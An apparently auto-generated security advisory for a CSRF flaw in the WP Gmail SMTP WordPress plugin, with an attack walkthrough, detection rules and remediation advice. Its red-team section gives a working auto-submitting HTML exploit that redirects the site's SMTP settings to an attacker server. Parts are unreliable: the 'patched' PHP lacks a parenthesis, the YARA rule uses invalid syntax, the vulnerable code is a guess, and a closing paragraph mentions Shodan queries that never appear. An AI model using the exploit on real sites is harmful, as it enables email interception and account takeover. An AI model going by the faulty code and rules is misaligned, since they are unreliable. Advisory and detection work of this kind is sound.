CVE-2025-62123
Executive Summary
CVE-2025-62123 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WP Gmail SMTP plugin by Inkthemes, a WordPress ecosystem component. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or exfiltrating SMTP credentials, without their consent. The vulnerability exists in all versions up to and including 1.0.7. No official patch has been released, and no public exploit code or proof-of-concept (PoC) is currently available. The CVSS score is 4.3 (Medium), reflecting the need for user interaction and the limited impact on confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, users are advised to disable or remove the plugin immediately. The lack of a patch increases supply chain risk, as the plugin may be bundled in WordPress themes or site packages.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – The attack is launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – The attacker does not need authentication.
- User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U) – The vulnerable component remains isolated.
- Confidentiality Impact: None (C:N) – No direct data disclosure.
- Integrity Impact: Low (I:L) – The attacker can modify plugin settings (e.g., SMTP server, credentials).
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. Exploitation requires social engineering, but the impact on integrity (e.g., redirecting emails to an attacker-controlled server) can lead to credential theft or email interception.
Deep Dive & Mechanics
The WP Gmail SMTP plugin provides a settings page in the WordPress admin dashboard (typically under Settings > WP Gmail SMTP). This page allows administrators to configure SMTP server details, including username and password. The vulnerability arises because the plugin does not implement CSRF tokens or nonces on its settings update endpoint.
Attack Flow:
- An attacker crafts a malicious HTML page or email containing a form that auto-submits to the vulnerable endpoint (e.g.,
wp-admin/options-general.php?page=wp-gmail-smtp). - The attacker lures an authenticated WordPress administrator to visit this page (e.g., via phishing or a compromised site).
- The victim’s browser sends a forged POST request to the plugin’s settings page, including the attacker’s desired SMTP configuration (e.g., attacker-controlled SMTP server).
- The plugin processes the request without verifying the origin, updating the settings.
- The attacker can now intercept outgoing emails from the WordPress site, potentially capturing password reset links, user data, or other sensitive information.
Root Cause: Missing CSRF protection (nonce) on the settings form handler. The plugin likely uses $_POST directly without checking wp_verify_nonce().
Vulnerable vs. Patched Code
Since no patch is available, we analyze the likely vulnerable code pattern.
Vulnerable Code (wp-gmail-smtp.php):
// No nonce check
if ( isset( $_POST['submit'] ) ) {
update_option( 'wp_gmail_smtp_host', sanitize_text_field( $_POST['smtp_host'] ) );
update_option( 'wp_gmail_smtp_user', sanitize_text_field( $_POST['smtp_user'] ) );
update_option( 'wp_gmail_smtp_pass', sanitize_text_field( $_POST['smtp_pass'] ) );
// ...
}
Patched Code (Hypothetical):
if ( isset( $_POST['submit'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'wp_gmail_smtp_settings' ) ) {
update_option( 'wp_gmail_smtp_host', sanitize_text_field( $_POST['smtp_host'] ) );
update_option( 'wp_gmail_smtp_user', sanitize_text_field( $_POST['smtp_user'] );
update_option( 'wp_gmail_smtp_pass', sanitize_text_field( $_POST['smtp_pass'] ) );
// ...
}
The patched version adds a nonce check using wp_verify_nonce() and includes a hidden nonce field in the form.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with WP Gmail SMTP <= 1.0.7 installed and activated.
- An authenticated admin session (the victim must be logged in).
Exploit HTML (csrf_exploit.html):
<!DOCTYPE html>
<html>
<body>
<form action="http://target-site.com/wp-admin/options-general.php?page=wp-gmail-smtp" method="POST">
<input type="hidden" name="smtp_host" value="attacker-smtp.com">
<input type="hidden" name="smtp_user" value="attacker@evil.com">
<input type="hidden" name="smtp_pass" value="hacked_password">
<input type="hidden" name="submit" value="Save Changes">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Usage:
- Host the HTML file on an attacker-controlled server or email it to the victim.
- Ensure the victim is logged into WordPress as an admin.
- When the victim visits the page, the form auto-submits, changing the SMTP settings.
- The attacker can now receive all outgoing emails from the WordPress site.
Blue Team (Detection & Defense)
Detection Steps:
- Monitor for unexpected changes to WordPress options
wp_gmail_smtp_host,wp_gmail_smtp_user,wp_gmail_smtp_pass. - Check server logs for POST requests to
/wp-admin/options-general.php?page=wp-gmail-smtpfrom unusual referrers. - Use a Web Application Firewall (WAF) to block requests missing a valid nonce.
Mitigation:
- Disable or remove the plugin immediately.
- If the plugin is essential, implement a custom patch by adding nonce verification (see patched code above).
- Enforce strong admin password policies and use two-factor authentication (2FA) to reduce the risk of session hijacking.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/options-general.php?page=wp-gmail-smtpwithRefererheader not matching the site domain. - Outbound SMTP traffic to unexpected servers (e.g.,
attacker-smtp.com).
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries:wp_gmail_smtp_host,wp_gmail_smtp_user,wp_gmail_smtp_pass.
- Modified
- Log IOCs:
- WordPress debug log entries showing settings changes without corresponding admin action.
- Web server access logs with
POST /wp-admin/options-general.php?page=wp-gmail-smtpfrom external referrers.
Detection Engineering
YARA Rule
rule CVE_2025_62123_CSRF_WP_Gmail_SMTP {
meta:
description = "Detects WP Gmail SMTP plugin files vulnerable to CSRF (CVE-2025-62123)"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62123"
strings:
$s1 = "wp_gmail_smtp_host" ascii wide nocase
$s2 = "wp_gmail_smtp_user" ascii wide nocase
$s3 = "wp_gmail_smtp_pass" ascii wide nocase
$s4 = "update_option" ascii wide nocase
$s5 = "_POST" ascii wide nocase
$nonce_missing = !"wp_verify_nonce" ascii wide nocase
condition:
all of ($s1, $s2, $s3, $s4, $s5) and $nonce_missing
}
Sigma Rule
title: CVE-2025-62123 - CSRF in WP Gmail SMTP Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to WP Gmail SMTP settings page without valid referer
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/options-general.php'
cs-uri-query: 'page=wp-gmail-smtp'
filter:
c-referer: '*/wp-admin/*'
condition: selection and not filter
falsepositives:
- Legitimate admin actions from the WordPress dashboard
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62123 WP Gmail SMTP CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/options-general.php"; http.uri; content:"page=wp-gmail-smtp"; http.referer; content!:"/wp-admin/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete
wp-gmail-smtpfrom the WordPress admin panel. - Audit SMTP settings: Check the
wp_optionstable for any unauthorized changes towp_gmail_smtp_host,wp_gmail_smtp_user,wp_gmail_smtp_pass. Rotate any exposed credentials. - Review email logs: Look for suspicious outbound emails that may have been intercepted.
Long-Term Fixes:
- Patch the plugin: Add nonce verification to the settings form handler (see patched code above).
- Use alternative plugins: Replace with a maintained SMTP plugin that includes CSRF protection (e.g., WP Mail SMTP by WPForms).
- Implement Web Application Firewall (WAF): Block requests to the vulnerable endpoint without a valid nonce.
- Educate administrators: Train users to recognize phishing attempts that could trigger CSRF.
Valters IT Signature
Report generated by Valters IT DevSecOps Framework. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.